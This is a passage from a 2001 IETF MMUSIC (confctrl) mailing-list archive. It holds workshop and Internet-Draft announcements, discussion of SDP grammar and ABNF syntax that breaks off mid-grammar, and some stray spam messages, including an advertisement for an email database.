[ ] Master Disc 2000 8.5 Million Records, Cost US$799.00
[ ] Online Updates & Download Access Cost US$199.00 (Annually)
[ ] Commercial Email Services & Products

Note: Not all records contain complete data, call for breakdowns.

For more details on Database, please call:

#954.340.1628 (US & International)

or fax form below to:
#954.753.2846

(Make Sure To Mention Reseller Id #1789 When Calling)


Company name: ___________________________________________


Web Site Url: ___________________________________________


Contact name: ___________________________________________


Email: __________________________________________________


Phone: __________________________________________________


Fax:  ___________________________________________________
 

Street address: _________________________________________


City, Zip, State: _______________________________________


Country: ________________________________________________


Check the following that apply: 
  
_____	Please Notify Me Of Online Web Site & Register Me For Access Using The 
Information Above.


Also Please, Send Additional Information on:

_____	Online Adult & Gaming Owner/Operaters
_____	Online Adult Subscribers & Online Gamers Databases
_____	Online Billing/Credit Card Processing
_____	Emailing Services and Databases
_____	Search Engine Positioning
_____	International Contact Lists
_____	Buying / Selling Traffic
_____	Web Site Hosting Services
_____	Internet Bandwidth Services (T-1's Starting at $999.00)
_____	Other:_______________________________


##############################################################################
#############################################
THIS MESSAGE IS BEING SENT IN COMPLIANCE OF THE EMAIL BILL: SECTION 301. PER 
SECTION, PARAGRAPH (a) (2) (c) of S. 1618.

To discontinue receipt of further notice at not cost and to be removed from 
our database, please reply with the word "Remove" in subject. Or call us at 
#954.340.1628 leave your email address for removal from the database and 
future mailings.

Any attempts to disrupt the removal email address etc., will not allow us to 
be able to retrieve and process the remove requests.
##############################################################################
#############################################


.0401601


From confctrl-owner  Sat Apr 21 09:28:56 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA15084
	for confctrl-outgoing; Sat, 21 Apr 2001 09:28:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA15079
	for <confctrl@zephyr.isi.edu>; Sat, 21 Apr 2001 09:28:54 -0700 (PDT)
Received: from odin.unik.no (odin.unik.no [193.156.96.7])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f3LGSsP16001
	for <confctrl@isi.edu>; Sat, 21 Apr 2001 09:28:55 -0700 (PDT)
Received: from tomkri by odin.unik.no with local (Exim 3.16 #2)
	id 14r0Bm-00064l-00; Sat, 21 Apr 2001 18:24:50 +0200
To: ecoop-info@ecoop.org, tcgn@ieee.org, odp@dstc.edu.au,
        reflective-middleware@cs.uiuc.edu, cabernet-events@newcastle.ac.uk,
        confctrl@ISI.EDU, phdoos@ecoop.org, wg7@dstc.edu.au, rem-conf@es.net,
        dist-obj@distributedcoalition.org
Newsgroups: comp.os.research
Subject: Reminder -  CfP: International Workshop on Multimedia Middleware (M3W 01)
Reply-To: m3w-org@ifi.uio.no
From: Tom Kristensen <tomkri@ifi.uio.no>
Date: 21 Apr 2001 18:24:48 +0200
Message-ID: <7rpue6rzjj.fsf@odin.unik.no>
Organization: Department of Informatics, University of Oslo
Lines: 105
X-Newsreader: Gnus v5.7/Emacs 20.4
Posted-To: comp.os.research
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The following message is a courtesy copy of an article
that has been posted to comp.os.research as well.


Please, find the Call for Papers to the International Workshop on 
Multimedia Middleware (M3W'01= enclosed. The workshop is held in
conjunction with ACM Multimediaj 2001 in Ottawa, Canada.

The deadline is now approaching! (May 15.)


--------------------------------------------------------

                              M3W'01
      International Workshop on Multimedia Middleware

             October 5th, 2001, Ottawa, Canada
          in conjunction with ACM Multimedia 2001
                http://www.ifi.uio.no/~m3w

Middleware technologies like the Common Object Request Broker (CORBA)
implementations, Microsoft's Distributed Component Object Model
(DCOM), and Java RMI have proved their suitability for "standard"
client-server applications. Middleware abstracts from particular
network services and allows application developers to focus on the
application. However, it is well known in the research community, that
today's middleware solutions are not suited for distributed multimedia
systems, and do not provide the required levels of adaptation and
configurability that is needed to accommodate the diversity of modern
distributed multimedia applications. The goal of the workshop is to
bring together researchers from academia and industry to identify why
today's middleware technologies and standards fail to appropriately
support multimedia applications and especially to discuss new
requirements, approaches, and solutions.


Areas of interest for this workshop include (but are not limited
to) the following topics:
- Experiences with middleware platforms in multimedia
  application domains
- The design and implementation of multimedia middleware platforms
- Performance analysis of multimedia middleware platforms
- Quality of Service and Realtime support in middleware platforms
- Stream support in middleware platforms
- Support for persistent multimedia objects
- Resolving heterogeneity in multimedia middleware platforms
- Services and APIs for multimedia application development (incl.
  security and management)


Format of the workshop:
-----------------------
To enable a highly interactive workshop, attendance will be limited to
about 50 participants. Participants will be invited based on the
originality, technical merit and topical relevance of their
submissions, as well as the likelihood that the ideas expressed in
their submissions will lead to insightful technical discussions at the
workshop.


Proceedings and submission guidelines:
-----------------------------------------
We seek short paper submissions describing original and unpublished
work. The page limit for submissions is four pages. All accepted
papers will be published in a proceeding printed by ACM. We strongly
encurage electronic submissions via the workshop's web page
(http://www.ifi.uio.no/~m3w).


Important dates:
-----------------
Submission Deadline:  May 15th
Notification:         June 15th
Final version:        July 15th


Workshop Co-Chairs:
-------------------
T. Plagemann, U of Oslo
F. Eliassen, Simula RL


Publicity Chair:
----------------
T. Kristensen, U of Oslo


Program Committee:
--------------------
G. Blair, Lancaster U
V. Cahill, Trinity C. Dublin
A. Campbell, Columbia U
R. Campbell, U of Illinois at UC
V. Goebel, U of Oslo
D. Ionescu, U of Ottawa
D. Karr, BBN
D. Schmidt, DARPA
M. v. Sinderen, U of Enschede
B. Thuraisingham, MITRE
W. Yu, U of Tromsø

--------------------------------------------------------


-- 
# Tom Kristensen                      (Research Associate) #
## Department of Informatics, University of Oslo          ##
### tel  +47 2285 2532  #  http://www.ifi.uio.no/~tomkri ###

From confctrl-owner  Tue Apr 24 11:59:30 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id LAA04914
	for confctrl-outgoing; Tue, 24 Apr 2001 11:59:30 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA04909
	for <confctrl@zephyr.isi.edu>; Tue, 24 Apr 2001 11:59:29 -0700 (PDT)
Received: from gaganan.com ([168.126.237.43])
	by gamma.isi.edu (8.11.2/8.11.2) with SMTP id f3OIxPf08133
	for <confctrl@isi.edu>; Tue, 24 Apr 2001 11:59:31 -0700 (PDT)
Message-Id: <200104241859.f3OIxPf08133@gamma.isi.edu>
From: "Son Ho Jin" <jin@gaganan.com>
To: "julia@vental.com"julia@vental.com
Subject: I got it
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Date: Wed, 25 Apr 2001 04:00:05 +0900
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hey, lu

Sorry, it took longer than i expected but I found the site, it's

 http://www.multiopen.com
 
 the site will make your web surfing very convenient.
 
 
And here goes one more, it's

 http://www.mysimon.com 
 
 this one will help your online shopping    
 
 Get to the site and mail me after

 bye~
 



From confctrl-owner  Wed Apr 25 04:16:12 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA05200
	for confctrl-outgoing; Wed, 25 Apr 2001 04:16:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA05191
	for <confctrl@zephyr.isi.edu>; Wed, 25 Apr 2001 04:16:11 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f3PBGDP29318
	for <confctrl@isi.edu>; Wed, 25 Apr 2001 04:16:13 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA10778;
	Wed, 25 Apr 2001 07:16:12 -0400 (EDT)
Message-Id: <200104251116.HAA10778@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdpng-req-01.txt
Date: Wed, 25 Apr 2001 07:16:11 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Requirements for Session Description and Capability 
                          Negotiation
	Author(s)	: D. Kutscher, J. Ott, C. Bormann, I. Curcio
	Filename	: draft-ietf-mmusic-sdpng-req-01.txt
	Pages		: 24
	Date		: 24-Apr-01
	
This document defines some terminology and lists a set of
requirements that are relevant for a framework for session
description and endpoint capability negotiation in multiparty
multimedia conferencing scenarios.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdpng-req-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdpng-req-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdpng-req-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010424133543.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdpng-req-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdpng-req-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010424133543.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Apr 25 09:28:46 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA26629
	for confctrl-outgoing; Wed, 25 Apr 2001 09:28:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA26624
	for <confctrl@zephyr.isi.edu>; Wed, 25 Apr 2001 09:28:45 -0700 (PDT)
Received: from mail.tiszanet.hu (mail.tiszanet.hu [217.65.96.14])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f3PGSkP19448
	for <confctrl@isi.edu>; Wed, 25 Apr 2001 09:28:47 -0700 (PDT)
Received: from localhost [217.65.98.10] by mail.tiszanet.hu with ESMTP
  (SMTPD32-6.06) id AB376C0204; Wed, 25 Apr 2001 18:28:39 +0200
Received: from localhost ([127.0.0.1] helo=hendlein.hu)
	by localhost with esmtp (Exim 3.12 #1 (Debian))
	id 14sS9b-0000Gq-00
	for <confctrl@isi.edu>; Wed, 25 Apr 2001 18:28:35 +0200
Message-ID: <3AE6FB33.C5F19AB9@hendlein.hu>
Date: Wed, 25 Apr 2001 18:28:35 +0200
From: Hendlein Peter <peter@hendlein.hu>
Organization: Jovesoft Bt
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en, hu
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Error in SDP grammar
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear all,

I found an error in SDP RFC in the grammar. The error is in the page 32,
in Appendix A.

Here is the error

proto = 1*(alpha-numeric)
;typically "RTP/AVP" or "udp" for IP4

alpha-numeric is only alpha or digit, this isn't slash.

I think the good formula is the following:
proto = 1*(safe)

I found the error in the draft also, which is published in March 2001.

Best regards,
Peter Hendlein

PS: sorry about my wrong english.

From confctrl-owner  Thu Apr 26 01:38:52 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA03556
	for confctrl-outgoing; Thu, 26 Apr 2001 01:38:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA03549
	for <confctrl@zephyr.isi.edu>; Thu, 26 Apr 2001 01:38:51 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f3Q8csP11875
	for <confctrl@isi.edu>; Thu, 26 Apr 2001 01:38:54 -0700 (PDT)
Received: from ipdialog.com (root@localhost [127.0.0.1])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f3Q8ck214635;
	Thu, 26 Apr 2001 10:38:46 +0200 (MEST)
Message-ID: <3AE7DDAD.4611CABB@ipdialog.com>
Date: Thu, 26 Apr 2001 10:34:53 +0200
From: Joerg Ott <jo@ipdialog.com>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, mmusic@informatik.uni-bremen.de
Subject: WG Last Call on Simple Capability Negotiation for SDP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

as agreed at the last IETF we would like to issue a WG Last Call
on the simple capability negotation as specified in

        draft-andreasen-mmusic-sdp-simcap-01.txt

for Proposed Standard.  The Last Call is to expire on 14 May 2001.
Please post any final comments to the MMUSIC mailing list.

Cheers,
Joerg

--
Joerg Ott - ipDialog, Inc. - jo@ipdialog.com

From confctrl-owner  Thu Apr 26 04:21:51 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA10989
	for confctrl-outgoing; Thu, 26 Apr 2001 04:21:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA10984
	for <confctrl@zephyr.isi.edu>; Thu, 26 Apr 2001 04:21:50 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f3QBLqP28357
	for <confctrl@isi.edu>; Thu, 26 Apr 2001 04:21:53 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA28186;
	Thu, 26 Apr 2001 07:21:50 -0400 (EDT)
Message-Id: <200104261121.HAA28186@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdpng-00.txt
Date: Thu, 26 Apr 2001 07:21:50 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Session Description and Capability Negotiation
	Author(s)	: D. Kutscher, J. Ott, C. Bormann
	Filename	: draft-ietf-mmusic-sdpng-00.txt
	Pages		: 21
	Date		: 25-Apr-01
	
This document defines a language for describing multimedia sessions
with respect to configuration parameters and capabilities of end
systems. 
This document is a product of the Multiparty Multimedia Session
Control (MMUSIC) working group of the Internet Engineering Task
Force. Comments are solicited and should be addressed to the working
group's mailing list at confctrl@isi.edu and/or the authors.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdpng-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdpng-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdpng-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010425143013.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdpng-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdpng-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010425143013.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Apr 26 09:35:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA01157
	for confctrl-outgoing; Thu, 26 Apr 2001 09:35:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA01152
	for <confctrl@zephyr.isi.edu>; Thu, 26 Apr 2001 09:35:37 -0700 (PDT)
Received: from mgci.com (IDENT:qmailr@box1.mpowercom.net [208.57.0.10])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f3QGZeP13906
	for <confctrl@isi.edu>; Thu, 26 Apr 2001 09:35:40 -0700 (PDT)
Received: (qmail 24100 invoked from network); 26 Apr 2001 16:16:56 -0000
Received: from fll-dsl63-cust216.mpowercom.net (HELO netzero.net) (208.57.63.216)
  by box1.mpowercom.net with SMTP; 26 Apr 2001 16:16:56 -0000
From: <iec0678@netzero.net>
To: confctrl@ISI.EDU
Subject: test6
Date: Thu, 26 Apr 2001 12:21:58
Message-Id: <270.418842.175840@netzero.net>
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>New Page 1</title>
</head>

<body>

<p class="MsoNormal">&nbsp;<o:p>
</o:p>
</p>
<p class="MsoNormal">&nbsp;<o:p>
</o:p>
</p>
<p class="MsoNormal">We are an Investment Banking Firm located in South Florida,
we need an IT professional familiar with Netopia R9100 router, NAT and relay
blocking. Security issues more than anything else. Can you help us.</p>
<p class="MsoNormal">&nbsp;<o:p>
</o:p>
</p>
<p class="MsoNormal">F Labrozzi</p>
<p class="MsoNormal">&nbsp;<o:p>
</o:p>
</p>
<p class="MsoNormal"><a href="mailto:iec0678?subject=Internet%20Security">Please
respond</a></p>
<p class="MsoNormal">&nbsp;<o:p>
</o:p>
</p>

</body>

</html>

From confctrl-owner  Fri Apr 27 07:29:02 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA29672
	for confctrl-outgoing; Fri, 27 Apr 2001 07:29:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA29666
	for <confctrl@zephyr.isi.edu>; Fri, 27 Apr 2001 07:29:01 -0700 (PDT)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f3RET5P04851
	for <confctrl@ISI.EDU>; Fri, 27 Apr 2001 07:29:05 -0700 (PDT)
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f3RET2m25849;
	Fri, 27 Apr 2001 07:29:02 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f3RESvv25191;
	Fri, 27 Apr 2001 07:28:57 -0700 (PDT)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id HAA19973; Fri, 27 Apr 2001 07:28:54 -0700 (PDT)
Message-ID: <3AE98316.7CAE6765@cisco.com>
Date: Fri, 27 Apr 2001 10:32:54 -0400
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Renee Revis <drrevis@cisco.com>
CC: confctrl@ISI.EDU, Colin Perkins <C.Perkins@cs.ucl.ac.uk>,
        Jonathan Lennox <lennox@cs.columbia.edu>
Subject: Re: Updated ABNF syntax comments
References: <200104131933.PAA26260@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Reposting as I haven't seen any responses.

Anybody ?

-- Flemming

Renee Revis wrote:

>     I'm just jumping in here, but have a few comments/questions on this
> updated syntax relative to the current version of draft-ietf-mmusic-sdp-new-01.
> txt.
>
> 1) s= line.  The draft says one and only one s= line is required per
> session description, but the syntax below shows it as optional.
>
> 2) The draft says that either an email field or a phone field must be
> specified, but this isn't shown in the syntax below.  I'm not suggesting
> that it should be.  My take would be to remove this requirement from the
> text.
>
> 3) Multiple b= lines are allowed by the syntax at either the session
> level or the media levels, but there is no mention in the draft of how
> an application should interpret this.  Are multiple b= lines really
> allowed at each level?  If so, what is the intended meaning, in
> particular if the same modifier is specified more than once?  If this
> is allowed, it might be good to mention this case in the draft.
>
> 4) The m= media line shows the port as allowing only one '/' character.
> Some transport types may want to allow more than that - e.g. for some
> ATM transport types.  May want to modify this to:
>     port *("/" integer)  instead of port ["/" integer ]
>
> Also with this, I'm curious as to why the port rule specifies 1*DIGIT
> instead of integer as in the media-field rule.
>
> 5) As for the proto rule, I would vote for the latter option - i.e.,
> token *("/" token).  The other, 1*(token-char|"/"), would allow /AVP which I
> don't think is really intended.
>
> >   Alternately, we could define it as 1*(token-char|"/"), or as
> >   token *("/" token).  What semantics does the group want for this field?
>
>                            Renee Revis
>
> Jonathan Lennox wrote:
>
> > On Sunday, April 1 2001, "Flemming Andreasen" wrote to "Jonathan Lennox, Tom-PT Taylor, confctrl" saying:
> >
> > > > I've been playing around with this off and on, and have a re-worked ABNF
> > > > largely done. I can send this to the list on Monday
> > >
> > > That would be most welcome.
> >
> > Here it is.
> >
> > A few notes on it:
> >
> > * The ABNF syntax used complies with RFC 2234, with two exceptions:
> >   "|" rather than "/" is the alternation character, and literal strings are
> >   case-sensitive.  The RFC 2234 "core" productions (ALPHA, DIGIT, CRLF, SP,
> >   VCHAR) are used where appropriate.
> >
> > * Since the group decided that the "media" and "fmt" parameters would be
> >   MIME types, I've aligned their ABNF definitions to align with those of RFC
> >   2045.  (Before they were just "alphanum", which was too restrictive.)
> >   This introduced the "token" production, which I've then also used in other
> >   places that used to have a too-restrictive alphanum.
> >
> > * Grammar components that come from external sources (IPv4 and v6 addresses,
> >   e-mail addresses, and URIs) are included by reference rather than by
> >   value.
> >
> > * The "addr-spec" production (e-mail addresses, from the RFC 822bis draft)
> >   says "modified to remove CFWS".  This is because 822bis allows addresses
> >   to contain folding whitespace, which obviously can't be allowed in SDP.
> >   I'm wondering if maybe the syntax should be some core of a mailto: URL
> >   instead.
> >
> > * I've added an "addr = extension-addr" production to allow for the PINT and
> >   ATM extensions to SDP.  I *believe* that this grammar will fully accept
> >   PINT and ATM SDP messages.
> >
> > * I've added IPv6.  I think this is the same as the syntax defined by
> >   draft-olson-sdp-ipv6, but I'm not positive.
> >
> > * For the specific issue raised by the beginning of this thread -- the fact
> >   that "RTP/AVP" doesn't match the production for "proto" -- I've redefined
> >   "proto" as
> >           proto = token "/" token
> >                 | token
> >
> >   Alternately, we could define it as 1*(token-char|"/"), or as
> >   token *("/" token).  What semantics does the group want for this field?
> >
> > Comments are welcome.
> >
> >   ------------------------------------------------------------------------
> >    ; SDP Syntax (cleaned up)
> >    announcement =        proto-version
> >                          origin-field
> >                          session-name-field
> >                          information-field
> >                          uri-field
> >                          email-fields
> >                          phone-fields
> >                          connection-field
> >                          bandwidth-fields
> >                          time-fields
> >                          key-field
> >                          attribute-fields
> >                          media-descriptions
> >
> >    proto-version =       "v=" 1*DIGIT CRLF
> >                          ;this memo describes version 0
> >
> >    origin-field =        "o=" username SP sess-id SP sess-version SP
> >                          nettype SP addrtype SP addr CRLF
> >
> >    session-name-field =  ["s=" text CRLF]
> >
> >    information-field =   ["i=" text CRLF]
> >
> >    uri-field =           ["u=" uri CRLF]
> >
> >    email-fields =        *("e=" email-address CRLF)
> >
> >    phone-fields =        *("p=" phone-number CRLF)
> >
> >    connection-field =    ["c=" nettype SP addrtype SP
> >                          connection-address CRLF]
> >                          ;a connection field must be present
> >                          ;in every media description or at the
> >                          ;session-level
> >
> >    bandwidth-fields =    *("b=" bwtype ":" bandwidth CRLF)
> >
> >    time-fields =         1*( "t=" start-time SP stop-time
> >                          *(CRLF repeat-fields) CRLF)
> >                          [zone-adjustments CRLF]
> >
> >    repeat-fields =       "r=" repeat-interval SP typed-time
> >                          1*(SP typed-time)
> >
> >    zone-adjustments =    "z=" time SP ["-"] typed-time
> >                          *(SP time SP ["-"] typed-time)
> >
> >    key-field =           ["k=" key-type CRLF]
> >
> >    attribute-fields =    *("a=" attribute CRLF)
> >
> >    media-descriptions =  *( media-field
> >                          information-field
> >                          *connection-field
> >                          bandwidth-fields
> >                          key-field
> >                          attribute-fields )
> >
> >    media-field =         "m=" media SP port ["/" integer]
> >                          SP proto 1*(SP fmt) CRLF
> >
> >    ; sub-rules of 'o='
> >    username =            non-ws-string
> >                          ;pretty wide definition, but doesn't include space
> >
> >    sess-id =             1*DIGIT
> >                          ;should be unique for this originating username/host
> >
> >    sess-version =        1*DIGIT
> >                          ;0 is a new session
> >
> >    nettype =             token
> >                          ;typically "IN"
> >
> >    addrtype =            token
> >                          ;typically "IP4" or "IP6"
> >
> >    ; sub-rules of 'u='
> >    uri =                 URI-reference; defined in RFC2396/2732
> >
> >    ; sub-rules of 'e='
> >    email-address =       email *SP "(" 1*email-safe ")" |
> >                          1*email-safe "<" email ">" |
> >                          email
> >
> >    email =               addr-spec ; defined in drums msgfmt (RFC822bis)
> >                                    ; modified to remove CFWS
> >
> >    ; sub-rules of 'p='
> >    phone-number =        phone *SP "(" 1*email-safe ")" |
> >                          1*email-safe "<" phone ">" |
> >                          phone
> >
> >    phone =               "+" POS-DIGIT 1*(SP | "-" | DIGIT)
> >                          ;there must be a space or hyphen between the
> >                          ;international code and the rest of the number.
> >
> >                          ; Should this use the tel: URL syntax?
> >
> >    ; sub-rules of 'c='
> >    connection-address =  multicast-address
> >                          | addr
> >
> >    ; sub-rules of 'b='
> >    bwtype =              token
> >
> >    bandwidth =           1*DIGIT
> >
> >    ; sub-rules of 't='
> >    start-time =          time | "0"
> >
> >    stop-time =           time | "0"
> >
> >    time =                POS-DIGIT 9*DIGIT
> >                          ; 10-digit NTP time represents times between
> >                          ; 1931 and 5068 AD.  9* allows times after that
> >                          ; as well.
> >
> >    ; sub-rules of 'r=' and 'z='
> >    repeat-interval =     typed-time
> >
> >    typed-time =          POS-DIGIT *DIGIT [fixed-len-time-unit]
> >
> >    fixed-len-time-unit = "d" | "h" | "m" | "s"
> >
> >    ; sub-rules of 'k='
> >    key-type =            "prompt" |
> >                          "clear:" text |
> >                          "base64:" base64 |
> >                          "uri:" uri |
> >                          key-method [ ":" text ]
> >
> >    base64      =         *base64-unit [base64-pad]
> >    base64-unit =         4base64-char
> >    base64-pad  =         2base64-char "==" | 3base64-char "="
> >    base64-char =         ALPHA | DIGIT | "+" | "/"
> >
> >    key-method =          token
> >
> >    ; sub-rules of 'a='
> >    attribute =           (att-field ":" att-value) | att-field
> >
> >    att-field =           token
> >
> >    att-value =           byte-string
> >
> >    ; sub-rules of 'm='
> >    media =               token
> >                          ;typically "audio", "video", "application"
> >                          ;or "data"
> >
> >    fmt =                 token
> >                          ;typically an RTP payload type for audio
> >                          ;and video media
> >
> >    proto  =              token "/" token
> >                          | token
> >                          ;typically "RTP/AVP" or "udp" for IP4
> >
> >    port =                1*DIGIT
> >                          ;should in the range "1024" to "65535" inclusive
> >                          ;for UDP based media
> >
> >    ; generic sub-rules: addressing
